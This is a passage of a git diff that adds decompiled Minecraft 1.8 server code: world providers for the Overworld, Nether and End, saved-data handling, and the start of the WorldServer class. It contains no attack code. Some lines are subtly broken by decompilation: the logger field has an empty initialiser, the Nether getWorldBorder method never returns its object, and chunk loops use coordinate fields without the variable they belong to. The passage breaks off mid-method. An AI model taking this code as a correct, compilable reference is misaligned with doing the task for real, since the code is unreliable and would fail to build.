+    theWorldServer.getPlayerManager().func_180244_a(pos);
+  }
+  
+  public void notifyLightSet(BlockPos pos) {}
+  
+  public void func_174961_a(String p_174961_1_, BlockPos p_174961_2_) {}
+  
+  public void func_180439_a(EntityPlayer p_180439_1_, int p_180439_2_, BlockPos p_180439_3_, int p_180439_4_)
+  {
+    mcServer.getConfigurationManager().sendToAllNearExcept(p_180439_1_, p_180439_3_.getX(), p_180439_3_.getY(), p_180439_3_.getZ(), 64.0D, theWorldServer.provider.getDimensionId(), new S28PacketEffect(p_180439_2_, p_180439_3_, p_180439_4_, false));
+  }
+  
+  public void func_180440_a(int p_180440_1_, BlockPos p_180440_2_, int p_180440_3_)
+  {
+    mcServer.getConfigurationManager().sendPacketToAllPlayers(new S28PacketEffect(p_180440_1_, p_180440_2_, p_180440_3_, true));
+  }
+  
+  public void sendBlockBreakProgress(int breakerId, BlockPos pos, int progress)
+  {
+    Iterator var4 = mcServer.getConfigurationManager().playerEntityList.iterator();
+    
+    while (var4.hasNext())
+    {
+      EntityPlayerMP var5 = (EntityPlayerMP)var4.next();
+      
+      if ((var5 != null) && (worldObj == theWorldServer) && (var5.getEntityId() != breakerId))
+      {
+        double var6 = pos.getX() - posX;
+        double var8 = pos.getY() - posY;
+        double var10 = pos.getZ() - posZ;
+        
+        if (var6 * var6 + var8 * var8 + var10 * var10 < 1024.0D)
+        {
+          playerNetServerHandler.sendPacket(new S25PacketBlockBreakAnim(breakerId, pos, progress));
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/WorldProvider.java b/src/minecraft/net/minecraft/world/WorldProvider.java
new file mode 100644
index 0000000..e966e70
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/WorldProvider.java
@@ -0,0 +1,282 @@
+package net.minecraft.world;
+
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManager;
+import net.minecraft.world.biome.WorldChunkManagerHell;
+import net.minecraft.world.border.WorldBorder;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.gen.ChunkProviderDebug;
+import net.minecraft.world.gen.ChunkProviderFlat;
+import net.minecraft.world.gen.ChunkProviderGenerate;
+import net.minecraft.world.gen.FlatGeneratorInfo;
+import net.minecraft.world.storage.WorldInfo;
+
+public abstract class WorldProvider
+{
+  public static final float[] moonPhaseFactors = { 1.0F, 0.75F, 0.5F, 0.25F, 0.0F, 0.25F, 0.5F, 0.75F };
+  
+
+  protected World worldObj;
+  
+
+  private WorldType terrainType;
+  
+
+  private String generatorSettings;
+  
+
+  protected WorldChunkManager worldChunkMgr;
+  
+
+  protected boolean isHellWorld;
+  
+
+  protected boolean hasNoSky;
+  
+
+  protected final float[] lightBrightnessTable = new float[16];
+  
+
+  protected int dimensionId;
+  
+
+  private final float[] colorsSunriseSunset = new float[4];
+  
+  private static final String __OBFID = "CL_00000386";
+  
+  public WorldProvider() {}
+  
+  public final void registerWorld(World worldIn)
+  {
+    worldObj = worldIn;
+    terrainType = worldIn.getWorldInfo().getTerrainType();
+    generatorSettings = worldIn.getWorldInfo().getGeneratorOptions();
+    registerWorldChunkManager();
+    generateLightBrightnessTable();
+  }
+  
+
+
+
+  protected void generateLightBrightnessTable()
+  {
+    float var1 = 0.0F;
+    
+    for (int var2 = 0; var2 <= 15; var2++)
+    {
+      float var3 = 1.0F - var2 / 15.0F;
+      lightBrightnessTable[var2] = ((1.0F - var3) / (var3 * 3.0F + 1.0F) * (1.0F - var1) + var1);
+    }
+  }
+  
+
+
+
+  protected void registerWorldChunkManager()
+  {
+    WorldType var1 = worldObj.getWorldInfo().getTerrainType();
+    
+    if (var1 == WorldType.FLAT)
+    {
+      FlatGeneratorInfo var2 = FlatGeneratorInfo.createFlatGeneratorFromString(worldObj.getWorldInfo().getGeneratorOptions());
+      worldChunkMgr = new WorldChunkManagerHell(BiomeGenBase.getBiomeFromBiomeList(var2.getBiome(), BiomeGenBase.field_180279_ad), 0.5F);
+    }
+    else if (var1 == WorldType.DEBUG_WORLD)
+    {
+      worldChunkMgr = new WorldChunkManagerHell(BiomeGenBase.plains, 0.0F);
+    }
+    else
+    {
+      worldChunkMgr = new WorldChunkManager(worldObj);
+    }
+  }
+  
+
+
+
+  public IChunkProvider createChunkGenerator()
+  {
+    return terrainType == WorldType.CUSTOMIZED ? new ChunkProviderGenerate(worldObj, worldObj.getSeed(), worldObj.getWorldInfo().isMapFeaturesEnabled(), generatorSettings) : terrainType == WorldType.DEBUG_WORLD ? new ChunkProviderDebug(worldObj) : terrainType == WorldType.FLAT ? new ChunkProviderFlat(worldObj, worldObj.getSeed(), worldObj.getWorldInfo().isMapFeaturesEnabled(), generatorSettings) : new ChunkProviderGenerate(worldObj, worldObj.getSeed(), worldObj.getWorldInfo().isMapFeaturesEnabled(), generatorSettings);
+  }
+  
+
+
+
+  public boolean canCoordinateBeSpawn(int x, int z)
+  {
+    return worldObj.getGroundAboveSeaLevel(new BlockPos(x, 0, z)) == net.minecraft.init.Blocks.grass;
+  }
+  
+
+
+
+  public float calculateCelestialAngle(long p_76563_1_, float p_76563_3_)
+  {
+    int var4 = (int)(p_76563_1_ % 24000L);
+    float var5 = (var4 + p_76563_3_) / 24000.0F - 0.25F;
+    
+    if (var5 < 0.0F)
+    {
+      var5 += 1.0F;
+    }
+    
+    if (var5 > 1.0F)
+    {
+      var5 -= 1.0F;
+    }
+    
+    float var6 = var5;
+    var5 = 1.0F - (float)((Math.cos(var5 * 3.141592653589793D) + 1.0D) / 2.0D);
+    var5 = var6 + (var5 - var6) / 3.0F;
+    return var5;
+  }
+  
+  public int getMoonPhase(long p_76559_1_)
+  {
+    return (int)(p_76559_1_ / 24000L % 8L + 8L) % 8;
+  }
+  
+
+
+
+  public boolean isSurfaceWorld()
+  {
+    return true;
+  }
+  
+
+
+
+  public float[] calcSunriseSunsetColors(float p_76560_1_, float p_76560_2_)
+  {
+    float var3 = 0.4F;
+    float var4 = MathHelper.cos(p_76560_1_ * 3.1415927F * 2.0F) - 0.0F;
+    float var5 = -0.0F;
+    
+    if ((var4 >= var5 - var3) && (var4 <= var5 + var3))
+    {
+      float var6 = (var4 - var5) / var3 * 0.5F + 0.5F;
+      float var7 = 1.0F - (1.0F - MathHelper.sin(var6 * 3.1415927F)) * 0.99F;
+      var7 *= var7;
+      colorsSunriseSunset[0] = (var6 * 0.3F + 0.7F);
+      colorsSunriseSunset[1] = (var6 * var6 * 0.7F + 0.2F);
+      colorsSunriseSunset[2] = (var6 * var6 * 0.0F + 0.2F);
+      colorsSunriseSunset[3] = var7;
+      return colorsSunriseSunset;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public Vec3 getFogColor(float p_76562_1_, float p_76562_2_)
+  {
+    float var3 = MathHelper.cos(p_76562_1_ * 3.1415927F * 2.0F) * 2.0F + 0.5F;
+    var3 = MathHelper.clamp_float(var3, 0.0F, 1.0F);
+    float var4 = 0.7529412F;
+    float var5 = 0.84705883F;
+    float var6 = 1.0F;
+    var4 *= (var3 * 0.94F + 0.06F);
+    var5 *= (var3 * 0.94F + 0.06F);
+    var6 *= (var3 * 0.91F + 0.09F);
+    return new Vec3(var4, var5, var6);
+  }
+  
+
+
+
+  public boolean canRespawnHere()
+  {
+    return true;
+  }
+  
+  public static WorldProvider getProviderForDimension(int dimension)
+  {
+    return dimension == 1 ? new WorldProviderEnd() : dimension == 0 ? new WorldProviderSurface() : dimension == -1 ? new WorldProviderHell() : null;
+  }
+  
+
+
+
+  public float getCloudHeight()
+  {
+    return 128.0F;
+  }
+  
+  public boolean isSkyColored()
+  {
+    return true;
+  }
+  
+  public BlockPos func_177496_h()
+  {
+    return null;
+  }
+  
+  public int getAverageGroundLevel()
+  {
+    return terrainType == WorldType.FLAT ? 4 : 64;
+  }
+  
+
+
+
+
+
+  public double getVoidFogYFactor()
+  {
+    return terrainType == WorldType.FLAT ? 1.0D : 0.03125D;
+  }
+  
+
+
+
+  public boolean doesXZShowFog(int p_76568_1_, int p_76568_2_)
+  {
+    return false;
+  }
+  
+
+  public abstract String getDimensionName();
+  
+
+  public abstract String getInternalNameSuffix();
+  
+
+  public WorldChunkManager getWorldChunkManager()
+  {
+    return worldChunkMgr;
+  }
+  
+  public boolean func_177500_n()
+  {
+    return isHellWorld;
+  }
+  
+  public boolean getHasNoSky()
+  {
+    return hasNoSky;
+  }
+  
+  public float[] getLightBrightnessTable()
+  {
+    return lightBrightnessTable;
+  }
+  
+  public int getDimensionId()
+  {
+    return dimensionId;
+  }
+  
+  public WorldBorder getWorldBorder()
+  {
+    return new WorldBorder();
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/WorldProviderEnd.java b/src/minecraft/net/minecraft/world/WorldProviderEnd.java
new file mode 100644
index 0000000..3f863ff
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/WorldProviderEnd.java
@@ -0,0 +1,133 @@
+package net.minecraft.world;
+
+import net.minecraft.block.Block;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManagerHell;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.gen.ChunkProviderEnd;
+
+public class WorldProviderEnd extends WorldProvider
+{
+  private static final String __OBFID = "CL_00000389";
+  
+  public WorldProviderEnd() {}
+  
+  public void registerWorldChunkManager()
+  {
+    worldChunkMgr = new WorldChunkManagerHell(BiomeGenBase.sky, 0.0F);
+    dimensionId = 1;
+    hasNoSky = true;
+  }
+  
+
+
+
+  public IChunkProvider createChunkGenerator()
+  {
+    return new ChunkProviderEnd(worldObj, worldObj.getSeed());
+  }
+  
+
+
+
+  public float calculateCelestialAngle(long p_76563_1_, float p_76563_3_)
+  {
+    return 0.0F;
+  }
+  
+
+
+
+  public float[] calcSunriseSunsetColors(float p_76560_1_, float p_76560_2_)
+  {
+    return null;
+  }
+  
+
+
+
+  public Vec3 getFogColor(float p_76562_1_, float p_76562_2_)
+  {
+    int var3 = 10518688;
+    float var4 = MathHelper.cos(p_76562_1_ * 3.1415927F * 2.0F) * 2.0F + 0.5F;
+    var4 = MathHelper.clamp_float(var4, 0.0F, 1.0F);
+    float var5 = (var3 >> 16 & 0xFF) / 255.0F;
+    float var6 = (var3 >> 8 & 0xFF) / 255.0F;
+    float var7 = (var3 & 0xFF) / 255.0F;
+    var5 *= (var4 * 0.0F + 0.15F);
+    var6 *= (var4 * 0.0F + 0.15F);
+    var7 *= (var4 * 0.0F + 0.15F);
+    return new Vec3(var5, var6, var7);
+  }
+  
+  public boolean isSkyColored()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canRespawnHere()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean isSurfaceWorld()
+  {
+    return false;
+  }
+  
+
+
+
+  public float getCloudHeight()
+  {
+    return 8.0F;
+  }
+  
+
+
+
+  public boolean canCoordinateBeSpawn(int x, int z)
+  {
+    return worldObj.getGroundAboveSeaLevel(new BlockPos(x, 0, z)).getMaterial().blocksMovement();
+  }
+  
+  public BlockPos func_177496_h()
+  {
+    return new BlockPos(100, 50, 0);
+  }
+  
+  public int getAverageGroundLevel()
+  {
+    return 50;
+  }
+  
+
+
+
+  public boolean doesXZShowFog(int p_76568_1_, int p_76568_2_)
+  {
+    return true;
+  }
+  
+
+
+
+  public String getDimensionName()
+  {
+    return "The End";
+  }
+  
+  public String getInternalNameSuffix()
+  {
+    return "_end";
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/WorldProviderHell.java b/src/minecraft/net/minecraft/world/WorldProviderHell.java
new file mode 100644
index 0000000..793a532
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/WorldProviderHell.java
@@ -0,0 +1,123 @@
+package net.minecraft.world;
+
+import net.minecraft.util.Vec3;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManagerHell;
+import net.minecraft.world.border.WorldBorder;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.gen.ChunkProviderHell;
+import net.minecraft.world.storage.WorldInfo;
+
+public class WorldProviderHell extends WorldProvider
+{
+  private static final String __OBFID = "CL_00000387";
+  
+  public WorldProviderHell() {}
+  
+  public void registerWorldChunkManager()
+  {
+    worldChunkMgr = new WorldChunkManagerHell(BiomeGenBase.hell, 0.0F);
+    isHellWorld = true;
+    hasNoSky = true;
+    dimensionId = -1;
+  }
+  
+
+
+
+  public Vec3 getFogColor(float p_76562_1_, float p_76562_2_)
+  {
+    return new Vec3(0.20000000298023224D, 0.029999999329447746D, 0.029999999329447746D);
+  }
+  
+
+
+
+  protected void generateLightBrightnessTable()
+  {
+    float var1 = 0.1F;
+    
+    for (int var2 = 0; var2 <= 15; var2++)
+    {
+      float var3 = 1.0F - var2 / 15.0F;
+      lightBrightnessTable[var2] = ((1.0F - var3) / (var3 * 3.0F + 1.0F) * (1.0F - var1) + var1);
+    }
+  }
+  
+
+
+
+  public IChunkProvider createChunkGenerator()
+  {
+    return new ChunkProviderHell(worldObj, worldObj.getWorldInfo().isMapFeaturesEnabled(), worldObj.getSeed());
+  }
+  
+
+
+
+  public boolean isSurfaceWorld()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canCoordinateBeSpawn(int x, int z)
+  {
+    return false;
+  }
+  
+
+
+
+  public float calculateCelestialAngle(long p_76563_1_, float p_76563_3_)
+  {
+    return 0.5F;
+  }
+  
+
+
+
+  public boolean canRespawnHere()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean doesXZShowFog(int p_76568_1_, int p_76568_2_)
+  {
+    return true;
+  }
+  
+
+
+
+  public String getDimensionName()
+  {
+    return "Nether";
+  }
+  
+  public String getInternalNameSuffix()
+  {
+    return "_nether";
+  }
+  
+  public WorldBorder getWorldBorder()
+  {
+    new WorldBorder()
+    {
+      private static final String __OBFID = "CL_00002008";
+      
+      public double getCenterX() {
+        return super.getCenterX() / 8.0D;
+      }
+      
+      public double getCenterZ() {
+        return super.getCenterZ() / 8.0D;
+      }
+    };
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/WorldProviderSurface.java b/src/minecraft/net/minecraft/world/WorldProviderSurface.java
new file mode 100644
index 0000000..681a6d1
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/WorldProviderSurface.java
@@ -0,0 +1,19 @@
+package net.minecraft.world;
+
+public class WorldProviderSurface
+  extends WorldProvider
+{
+  private static final String __OBFID = "CL_00000388";
+  
+  public WorldProviderSurface() {}
+  
+  public String getDimensionName()
+  {
+    return "Overworld";
+  }
+  
+  public String getInternalNameSuffix()
+  {
+    return "";
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/WorldSavedData.java b/src/minecraft/net/minecraft/world/WorldSavedData.java
new file mode 100644
index 0000000..f09d794
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/WorldSavedData.java
@@ -0,0 +1,52 @@
+package net.minecraft.world;
+
+import net.minecraft.nbt.NBTTagCompound;
+
+
+
+
+public abstract class WorldSavedData
+{
+  public final String mapName;
+  private boolean dirty;
+  private static final String __OBFID = "CL_00000580";
+  
+  public WorldSavedData(String name)
+  {
+    mapName = name;
+  }
+  
+
+
+
+  public abstract void readFromNBT(NBTTagCompound paramNBTTagCompound);
+  
+
+
+
+  public abstract void writeToNBT(NBTTagCompound paramNBTTagCompound);
+  
+
+
+
+  public void markDirty()
+  {
+    setDirty(true);
+  }
+  
+
+
+
+  public void setDirty(boolean isDirty)
+  {
+    dirty = isDirty;
+  }
+  
+
+
+
+  public boolean isDirty()
+  {
+    return dirty;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/WorldServer.java b/src/minecraft/net/minecraft/world/WorldServer.java
new file mode 100644
index 0000000..0a4afe4
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/WorldServer.java
@@ -0,0 +1,1231 @@
+package net.minecraft.world;
+
+import com.google.common.base.Predicate;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.util.concurrent.ListenableFuture;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.Set;
+import java.util.TreeSet;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockEventData;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EntityTracker;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.entity.INpc;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.entity.passive.EntityAnimal;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.play.server.S27PacketExplosion;
+import net.minecraft.network.play.server.S2APacketParticles;
+import net.minecraft.network.play.server.S2BPacketChangeGameState;
+import net.minecraft.network.play.server.S2CPacketSpawnGlobalEntity;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.scoreboard.ScoreboardSaveData;
+import net.minecraft.scoreboard.ServerScoreboard;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.PlayerManager;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.util.IThreadListener;
+import net.minecraft.util.IntHashMap;
+import net.minecraft.util.ReportedException;
+import net.minecraft.util.Vec3;
+import net.minecraft.util.WeightedRandom;
+import net.minecraft.util.WeightedRandomChestContent;
+import net.minecraft.village.VillageCollection;
+import net.minecraft.village.VillageSiege;
+import net.minecraft.world.biome.BiomeGenBase.SpawnListEntry;
+import net.minecraft.world.biome.WorldChunkManager;
+import net.minecraft.world.border.WorldBorder;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.chunk.storage.ExtendedBlockStorage;
+import net.minecraft.world.chunk.storage.IChunkLoader;
+import net.minecraft.world.gen.ChunkProviderServer;
+import net.minecraft.world.gen.feature.WorldGeneratorBonusChest;
+import net.minecraft.world.gen.structure.StructureBoundingBox;
+import net.minecraft.world.storage.ISaveHandler;
+import net.minecraft.world.storage.MapStorage;
+import net.minecraft.world.storage.WorldInfo;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class WorldServer extends World implements IThreadListener
+{
+  private static final Logger logger = ;
+  private final MinecraftServer mcServer;
+  private final EntityTracker theEntityTracker;
+  private final PlayerManager thePlayerManager;
+  private final Set pendingTickListEntriesHashSet = com.google.common.collect.Sets.newHashSet();
+  
+
+  private final TreeSet pendingTickListEntriesTreeSet = new TreeSet();
+  private final Map entitiesByUuid = Maps.newHashMap();
+  
+
+  public ChunkProviderServer theChunkProviderServer;
+  
+
+  public boolean disableLevelSaving;
+  
+  private boolean allPlayersSleeping;
+  
+  private int updateEntityTick;
+  
+  private final Teleporter worldTeleporter;
+  
+  private final SpawnerAnimals field_175742_R = new SpawnerAnimals();
+  protected final VillageSiege villageSiege = new VillageSiege(this);
+  private ServerBlockEventList[] field_147490_S = { new ServerBlockEventList(null), new ServerBlockEventList(null) };
+  private int blockEventCacheIndex;
+  private static final List bonusChestContent = Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.stick, 0, 1, 3, 10), new WeightedRandomChestContent(Item.getItemFromBlock(Blocks.planks), 0, 1, 3, 10), new WeightedRandomChestContent(Item.getItemFromBlock(Blocks.log), 0, 1, 3, 10), new WeightedRandomChestContent(Items.stone_axe, 0, 1, 1, 3), new WeightedRandomChestContent(Items.wooden_axe, 0, 1, 1, 5), new WeightedRandomChestContent(Items.stone_pickaxe, 0, 1, 1, 3), new WeightedRandomChestContent(Items.wooden_pickaxe, 0, 1, 1, 5), new WeightedRandomChestContent(Items.apple, 0, 2, 3, 5), new WeightedRandomChestContent(Items.bread, 0, 2, 3, 3), new WeightedRandomChestContent(Item.getItemFromBlock(Blocks.log2), 0, 1, 3, 10) });
+  private List pendingTickListEntriesThisTick = Lists.newArrayList();
+  private static final String __OBFID = "CL_00001437";
+  
+  public WorldServer(MinecraftServer server, ISaveHandler saveHandlerIn, WorldInfo info, int dimensionId, Profiler profilerIn)
+  {
+    super(saveHandlerIn, info, WorldProvider.getProviderForDimension(dimensionId), profilerIn, false);
+    mcServer = server;
+    theEntityTracker = new EntityTracker(this);
+    thePlayerManager = new PlayerManager(this);
+    provider.registerWorld(this);
+    chunkProvider = createChunkProvider();
+    worldTeleporter = new Teleporter(this);
+    calculateInitialSkylight();
+    calculateInitialWeather();
+    getWorldBorder().setSize(server.getMaxWorldSize());
+  }
+  
+  public World init()
+  {
+    mapStorage = new MapStorage(saveHandler);
+    String var1 = VillageCollection.func_176062_a(provider);
+    VillageCollection var2 = (VillageCollection)mapStorage.loadData(VillageCollection.class, var1);
+    
+    if (var2 == null)
+    {
+      villageCollectionObj = new VillageCollection(this);
+      mapStorage.setData(var1, villageCollectionObj);
+    }
+    else
+    {
+      villageCollectionObj = var2;
+      villageCollectionObj.func_82566_a(this);
+    }
+    
+    worldScoreboard = new ServerScoreboard(mcServer);
+    ScoreboardSaveData var3 = (ScoreboardSaveData)mapStorage.loadData(ScoreboardSaveData.class, "scoreboard");
+    
+    if (var3 == null)
+    {
+      var3 = new ScoreboardSaveData();
+      mapStorage.setData("scoreboard", var3);
+    }
+    
+    var3.func_96499_a(worldScoreboard);
+    ((ServerScoreboard)worldScoreboard).func_96547_a(var3);
+    getWorldBorder().setCenter(worldInfo.func_176120_C(), worldInfo.func_176126_D());
+    getWorldBorder().func_177744_c(worldInfo.func_176140_I());
+    getWorldBorder().setDamageBuffer(worldInfo.func_176138_H());
+    getWorldBorder().setWarningDistance(worldInfo.func_176131_J());
+    getWorldBorder().setWarningTime(worldInfo.func_176139_K());
+    
+    if (worldInfo.func_176134_F() > 0L)
+    {
+      getWorldBorder().setTransition(worldInfo.func_176137_E(), worldInfo.func_176132_G(), worldInfo.func_176134_F());
+    }
+    else
+    {
+      getWorldBorder().setTransition(worldInfo.func_176137_E());
+    }
+    
+    return this;
+  }
+  
+
+
+
+  public void tick()
+  {
+    super.tick();
+    
+    if ((getWorldInfo().isHardcoreModeEnabled()) && (getDifficulty() != EnumDifficulty.HARD))
+    {
+      getWorldInfo().setDifficulty(EnumDifficulty.HARD);
+    }
+    
+    provider.getWorldChunkManager().cleanupCache();
+    
+    if (areAllPlayersAsleep())
+    {
+      if (getGameRules().getGameRuleBooleanValue("doDaylightCycle"))
+      {
+        long var1 = worldInfo.getWorldTime() + 24000L;
+        worldInfo.setWorldTime(var1 - var1 % 24000L);
+      }
+      
+      wakeAllPlayers();
+    }
+    
+    theProfiler.startSection("mobSpawner");
+    
+    if ((getGameRules().getGameRuleBooleanValue("doMobSpawning")) && (worldInfo.getTerrainType() != WorldType.DEBUG_WORLD))
+    {
+      field_175742_R.findChunksForSpawning(this, spawnHostileMobs, spawnPeacefulMobs, worldInfo.getWorldTotalTime() % 400L == 0L);
+    }
+    
+    theProfiler.endStartSection("chunkSource");
+    chunkProvider.unloadQueuedChunks();
+    int var3 = calculateSkylightSubtracted(1.0F);
+    
+    if (var3 != getSkylightSubtracted())
+    {
+      setSkylightSubtracted(var3);
+    }
+    
+    worldInfo.incrementTotalWorldTime(worldInfo.getWorldTotalTime() + 1L);
+    
+    if (getGameRules().getGameRuleBooleanValue("doDaylightCycle"))
+    {
+      worldInfo.setWorldTime(worldInfo.getWorldTime() + 1L);
+    }
+    
+    theProfiler.endStartSection("tickPending");
+    tickUpdates(false);
+    theProfiler.endStartSection("tickBlocks");
+    func_147456_g();
+    theProfiler.endStartSection("chunkMap");
+    thePlayerManager.updatePlayerInstances();
+    theProfiler.endStartSection("village");
+    villageCollectionObj.tick();
+    villageSiege.tick();
+    theProfiler.endStartSection("portalForcer");
+    worldTeleporter.removeStalePortalLocations(getTotalWorldTime());
+    theProfiler.endSection();
+    func_147488_Z();
+  }
+  
+  public BiomeGenBase.SpawnListEntry func_175734_a(EnumCreatureType p_175734_1_, BlockPos p_175734_2_)
+  {
+    List var3 = getChunkProvider().func_177458_a(p_175734_1_, p_175734_2_);
+    return (var3 != null) && (!var3.isEmpty()) ? (BiomeGenBase.SpawnListEntry)WeightedRandom.getRandomItem(rand, var3) : null;
+  }
+  
+  public boolean func_175732_a(EnumCreatureType p_175732_1_, BiomeGenBase.SpawnListEntry p_175732_2_, BlockPos p_175732_3_)
+  {
+    List var4 = getChunkProvider().func_177458_a(p_175732_1_, p_175732_3_);
+    return (var4 != null) && (!var4.isEmpty()) ? var4.contains(p_175732_2_) : false;
+  }
+  
+
+
+
+  public void updateAllPlayersSleepingFlag()
+  {
+    allPlayersSleeping = false;
+    
+    if (!playerEntities.isEmpty())
+    {
+      int var1 = 0;
+      int var2 = 0;
+      Iterator var3 = playerEntities.iterator();
+      
+      while (var3.hasNext())
+      {
+        EntityPlayer var4 = (EntityPlayer)var3.next();
+        
+        if (var4.func_175149_v())
+        {
+          var1++;
+        }
+        else if (var4.isPlayerSleeping())
+        {
+          var2++;
+        }
+      }
+      
+      allPlayersSleeping = ((var2 > 0) && (var2 >= playerEntities.size() - var1));
+    }
+  }
+  
+  protected void wakeAllPlayers()
+  {
+    allPlayersSleeping = false;
+    Iterator var1 = playerEntities.iterator();
+    
+    while (var1.hasNext())
+    {
+      EntityPlayer var2 = (EntityPlayer)var1.next();
+      
+      if (var2.isPlayerSleeping())
+      {
+        var2.wakeUpPlayer(false, false, true);
+      }
+    }
+    
+    resetRainAndThunder();
+  }
+  
+  private void resetRainAndThunder()
+  {
+    worldInfo.setRainTime(0);
+    worldInfo.setRaining(false);
+    worldInfo.setThunderTime(0);
+    worldInfo.setThundering(false);
+  }
+  
+  public boolean areAllPlayersAsleep()
+  {
+    if ((allPlayersSleeping) && (!isRemote))
+    {
+      Iterator var1 = playerEntities.iterator();
+      
+      EntityPlayer var2;
+      do
+      {
+        if (!var1.hasNext())
+        {
+          return true;
+        }
+        
+        var2 = (EntityPlayer)var1.next();
+      }
+      while ((!var2.func_175149_v()) && (var2.isPlayerFullyAsleep()));
+      
+      return false;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public void setInitialSpawnLocation()
+  {
+    if (worldInfo.getSpawnY() <= 0)
+    {
+      worldInfo.setSpawnY(64);
+    }
+    
+    int var1 = worldInfo.getSpawnX();
+    int var2 = worldInfo.getSpawnZ();
+    int var3 = 0;
+    
+    while (getGroundAboveSeaLevel(new BlockPos(var1, 0, var2)).getMaterial() == Material.air)
+    {
+      var1 += rand.nextInt(8) - rand.nextInt(8);
+      var2 += rand.nextInt(8) - rand.nextInt(8);
+      var3++;
+      
+      if (var3 == 10000) {
+        break;
+      }
+    }
+    
+
+    worldInfo.setSpawnX(var1);
+    worldInfo.setSpawnZ(var2);
+  }
+  
+  protected void func_147456_g()
+  {
+    super.func_147456_g();
+    
+    if (worldInfo.getTerrainType() == WorldType.DEBUG_WORLD)
+    {
+      Iterator var21 = activeChunkSet.iterator();
+      
+      while (var21.hasNext())
+      {
+        ChunkCoordIntPair var22 = (ChunkCoordIntPair)var21.next();
+        getChunkFromChunkCoords(chunkXPos, chunkZPos).func_150804_b(false);
+      }
+    }
+    else
+    {
+      int var1 = 0;
+      int var2 = 0;
+      
+      for (Iterator var3 = activeChunkSet.iterator(); var3.hasNext(); theProfiler.endSection())
+      {
+        ChunkCoordIntPair var4 = (ChunkCoordIntPair)var3.next();
+        int var5 = chunkXPos * 16;
+        int var6 = chunkZPos * 16;
+        theProfiler.startSection("getChunk");
+        Chunk var7 = getChunkFromChunkCoords(chunkXPos, chunkZPos);
+        func_147467_a(var5, var6, var7);
+        theProfiler.endStartSection("tickChunk");
+        var7.func_150804_b(false);
+        theProfiler.endStartSection("thunder");
+        
+
+
+        if ((rand.nextInt(100000) == 0) && (isRaining()) && (isThundering()))
+        {
+          updateLCG = (updateLCG * 3 + 1013904223);
+          int var8 = updateLCG >> 2;
+          BlockPos var9 = func_175736_a(new BlockPos(var5 + (var8 & 0xF), 0, var6 + (var8 >> 8 & 0xF)));
+          
+          if (func_175727_C(var9))
+          {
+            addWeatherEffect(new EntityLightningBolt(this, var9.getX(), var9.getY(), var9.getZ()));
+          }
+        }
+        
+        theProfiler.endStartSection("iceandsnow");
+        
+        if (rand.nextInt(16) == 0)
+        {
+          updateLCG = (updateLCG * 3 + 1013904223);
+          int var8 = updateLCG >> 2;
+          BlockPos var9 = func_175725_q(new BlockPos(var5 + (var8 & 0xF), 0, var6 + (var8 >> 8 & 0xF)));
+          BlockPos var10 = var9.offsetDown();
+          
+          if (func_175662_w(var10))
+          {
+            setBlockState(var10, Blocks.ice.getDefaultState());
+          }
+          
+          if ((isRaining()) && (func_175708_f(var9, true)))
+          {
+            setBlockState(var9, Blocks.snow_layer.getDefaultState());
+          }
+          
+          if ((isRaining()) && (getBiomeGenForCoords(var10).canSpawnLightningBolt()))
+          {
+            getBlockState(var10).getBlock().fillWithRain(this, var10);
+          }
+        }
+        
+        theProfiler.endStartSection("tickBlocks");
+        int var8 = getGameRules().getInt("randomTickSpeed");
+        
+        if (var8 > 0)
+        {
